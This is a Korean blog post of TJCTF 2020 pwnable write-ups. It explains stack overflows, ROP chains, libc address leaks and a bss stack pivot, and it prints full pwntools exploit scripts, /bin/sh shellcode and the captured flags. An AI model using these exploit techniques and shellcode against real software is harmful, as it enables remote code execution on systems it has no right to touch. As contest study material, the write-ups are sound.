TJ2020] Write ups - Pwnable

노션으로 옮김·2020년 5월 26일
1

wargame

목록 보기
53/59
post-thumbnail

Pwnable

Gym

Aneesh wants to acquire a summer bod for beach week, but time is running out. Can you help him create a plan to attain his goal?

nc p1.tjctf.org 8008

단순히 동작에 따라 calorie가 줄어든 프로그램이다.

풀이

특정 calorie가 되도록 맞춰서 동작을 실행해준다.
tjctf{w3iGht_l055_i5_d1ff1CuLt}

Tinder

Start swiping!

nc p1.tjctf.org 8002

유저 정보를 입력받은 뒤, 특정 정보가 일치하면 플래그를 출력한다.

풀이

간단한 오버플로우 문제이다.
입력받는 크기를 전달할 때, 실수형 변수를 int 캐스팅 해서 전달하므로 전달하려는 크기보다 오버된 크기를 입력받게 된다.
오버플로우로 match0xC0D3D00D로 설정하면 플래그가 출력된다.

tjctf{0v3rfl0w_0f_m4tch35}

Seashells

I heard there's someone selling shells? They seem to be out of stock though...

nc p1.tjctf.org 8009

문자열을 입력받는다.

풀이

단순 오버플로우 문제이다.
ret를 조작해서 쉘을 실행해주는 함수로 분기시키면 된다.

tjctf{she_s3lls_se4_sh3ll5}

OSRS

Written by KyleForkBomb

My friend keeps talking about Old School RuneScape. He says he made a service to tell you about trees.

I don't know what any of this means but this system sure looks old! It has like zero security features enabled...

nc p1.tjctf.org 8006

트리 타입을 한 번 입력받고 결과를 출력하는 프로그램이다.

풀이

트리 타입 입력에서 오버플로우가 발생한다.
아무런 보호기법이 적용되어 있지 않아 쉘 코드를 사용해도 될 것 같지만 rop로 풀었다.

from pwn import *

context.update(arch = 'amd64', os='linux', log_level='debug')

p = remote('p1.tjctf.org', 8006)
#p = process('bi')

p.recvrepeat(2)

e = ELF('bi')
addr_plt_puts = e.plt['puts']
addr_got_puts = e.got['puts']
addr_plt_gets = e.plt['gets']
addr_got_strcmp = e.got['strcasecmp']

offset_systemToPuts = 0x2a650

addr_pop = 0x080496c6
log.info('addr_plt_gets: ' + hex(addr_plt_gets))
log.info('addr_plt_puts: ' + hex(addr_plt_puts))
log.info('addr_got_strcasecmp: ' + hex(addr_got_strcmp))

addr_main = 0x80485C8
addr_binsh = 0x8049EC0
addr_strcmp = 0x0804858F

offset_binsh = 0x11456f

p.sendline('a'*0x110 + p32(addr_plt_puts) + p32(addr_pop) + p32(addr_got_puts) + p32(addr_plt_gets) + p32(addr_pop) + p32(addr_got_strcmp) + p32(addr_plt_gets) + p32(addr_pop) + p32(addr_binsh) + p32(addr_strcmp) + p32(addr_binsh))

p.recvuntil(':(\n')
addr_libc_puts = u32(p.recv(4))
p.recvrepeat(1)

log.info('addr_libc_puts: ' + hex(addr_libc_puts))
addr_system = addr_libc_puts - offset_systemToPuts

log.info('addr_libc_system: ' + hex(addr_system))

p.send(p32(addr_system))

p.sendline('/bin/sh')
p.sendline('/bin/sh')
p.interactive()

/bin/sh를 두 번 보내야 되더라..

tjctf{tr33_c0de_in_my_she115}

El Primo

My friend just started playing Brawl Stars and he keeps raging because he can't beat El Primo! Can you help him?

nc p1.tjctf.org 8011

바이너리를 실행하면, 스택 주소를 알려주고 문자열을 입력받는다.

풀이

소스를 보면 간단히 바이너리에서 확인된 기능만 구현되어 있다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-28h]@1
  int *v5; // [sp+24h] [bp-4h]@1

  v5 = &argc;
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  puts("What's my hard counter?");
  printf("hint: %p\n", &s);
  gets(&s);
  return 0;
}

보호기법을 보면 PIE, RELRO이 걸려있다. 그리고 RWX 세그먼테이션이 있다고 한다. (peda로 확인해보면 그 영역은 스택 주소 안이다.)

root@hp-virtual-machine:/work/ctf/TJ2020/El_Primo# checksec el_primo 
[*] '/work/ctf/TJ2020/El_Primo/el_primo'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

또한 buf의 주소를 알려주고 있으므로 buf에 쉘코드를 인젝션 후 그곳으로 분기해 실행시키면 되겠다.

하지만 문제가 있었다.
페이로드를 입력해서 Return Addressbuf의 주소로 변경시켰는데 해결이 되지 않았다.

바이너리를 다시 확인해보니

에필로그 부분이 달랐고, Return Address로 리턴하는게 아니었다.
ebp-8에 저장된 값을 ecx에 넣고, ecx-4에 저장된 값으로 리턴한다.

이것에 맞춰 페이로드를 다시 구성해야 한다.

from pwn import *

context.update(log_level='debug')
p = remote('p1.tjctf.org', 8011)
#p = process('el_primo')
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'

p.recvuntil(': 0x')
addr_buf = int(p.recvrepeat(0.2)[:8],16)
log.info('addr_buf: ' + hex(addr_buf))


offset_toEBP_8 = 0x28-8

#raw_input('pid: ' + str(p.pid))

EBP_8 = p32(addr_buf+(offset_toEBP_8+4+0x20)+4)
RET = p32(addr_buf)
payload = shellcode + 'a'*(offset_toEBP_8 - len(shellcode)) + EBP_8 + 'a'*0x20 + RET
print 'payload: ' + payload.encode('hex')

p.sendline(payload)

p.interactive()

실행하면

플래그를 얻을 수 있다.

tjctf{3L_PR1M0O0OOO!1!!}

My friend loves cookies. In fact, she loves them so much her favorite cookie changes all the time. She said there's no reward for guessing her favorite cookie, but I still think she's hiding something.

nc p1.tjctf.org 8010

바이너리를 실행하면

쿠키 목록을 출력해주고 문자열을 입력받는다.

풀이

마찬가지로 소스는 간단하다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax@1
  char *v4; // rsi@1
  int v5; // eax@4
  char s1; // [sp+0h] [bp-50h]@4
  int i; // [sp+4Ch] [bp-4h]@1

  v3 = time(0LL);
  srand(v3);
  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  v4 = 0LL;
  setbuf(stderr, 0LL);
  puts("Check out all these cookies!");
  for ( i = 0; i <= 27; ++i )
  {
    v4 = (&cookies)[8 * i];
    printf("  - %s\n", v4);
  }
  puts("Which is the most tasty?");
  gets(&s1, v4);
  v5 = rand();
  if ( !strcasecmp(&s1, (&cookies)[8 * (v5 % 28)]) )
    puts("Wow, me too!");
  else
    puts("I'm sorry but we can't be friends anymore");
  return 0;
}

문자열을 입력받을 때 gets에서 오버플로우가 발생한다.

하지만, NX, RELRO가 걸려있어 쉘코드 인젝션이나 got overwrite를 못하기 때문에 이를 우회해야 한다.

이런 상황에서 많이 하는 것은 _free_hook overwrite일 것이다.
하지만 너무 식상한 방식이라 생각해서 다른 방법을 고안했다.

생각한 방법은 이렇다.
RET를 system이나 execve로 분기시키기 위해서는 스택에 해당 주소값이 존재해야 한다.
하지만 첫 페이로드 전송시에 system의 주소를 넣어줄 수는 없다.
system의 주소를 모르기 때문이다.

따라서, pop rsp 가젯을 이용해 bss를 스택으로 만들었다.
그리고 bss에 계산한 system 주소를 저장한다.
그 후 ret 명령이 호출되면 system으로 분기할 수 있을 것이다.

하지만 system 호출시에 알 수 없는 이유로 system 내부 코드에서 세그먼트 폴트가 발생했다.
그래서 execve를 사용하기로 했다.(이 함수는 rdi를 제외한 모든 인자를 0으로 설정해야 한다.)

from pwn import *

context.update(log_level = 'debug')
#p = process('cookie_library')
p = remote('p1.tjctf.org', 8010)
p.recvuntil('tasty?')

e = ELF('cookie_library')
addr_got_puts = e.got['puts']
addr_plt_puts = e.plt['puts']
addr_plt_gets = e.plt['gets']

#gadgets
addr_popRDI = 0x00400933
addr_popRSP = 0x0040092d #pop rsp r13 r14 r15 ret

#addr_bss = 0x601020
addr_bss = 0x601500

payload = 'a'*0x58 + p64(addr_popRDI) + p64(addr_got_puts) + p64(addr_plt_puts)
#write to bss to make it a stack.
payload += p64(addr_popRDI) + p64(addr_bss) + p64(addr_plt_gets) 
#pop rsp to point bss as a stack.
payload += p64(addr_popRSP) + p64(addr_bss)

p.sendline(payload)

_recv = p.recvrepeat(1)
start = _recv.find('anymore') + len('anymore\n')
addr_libc_puts = u64(_recv[start:start+8].replace('\x0a', '\x00').ljust(8, '\x00'))

offset_systemToPuts = 0x31580
offset_putsToBinsh = 0x1334da
offset_putsToExecve = 0x64470

addr_libc_execve = addr_libc_puts + offset_putsToExecve
addr_libc_system = addr_libc_puts - offset_systemToPuts
addr_libc_binsh = addr_libc_puts + offset_putsToBinsh

log.info('addr_libc_puts: ' + hex(addr_libc_puts))
log.info('addr_libc_system: ' + hex(addr_libc_system))
log.info('addr_libc_execve: ' + hex(addr_libc_execve))
log.info('addr_libc_binsh: ' + hex(addr_libc_binsh))


#write address of system in bss
addr_popRSI =  0x00400931 # pop rsi r15 ret

payload = p64(0)*3 # r13 r14 r15
payload += p64(addr_popRDI) + p64(addr_libc_binsh)
payload += p64(addr_popRSI) + p64(0)*2
payload += p64(addr_libc_execve) + p64(0)*4

p.sendline(payload)

p.interactive()

코드를 실행하면 플래그를 확인할 수 있다.

tjctf{c00ki3_yum_yum_mmMmMMmMMmmMm}

0개의 댓글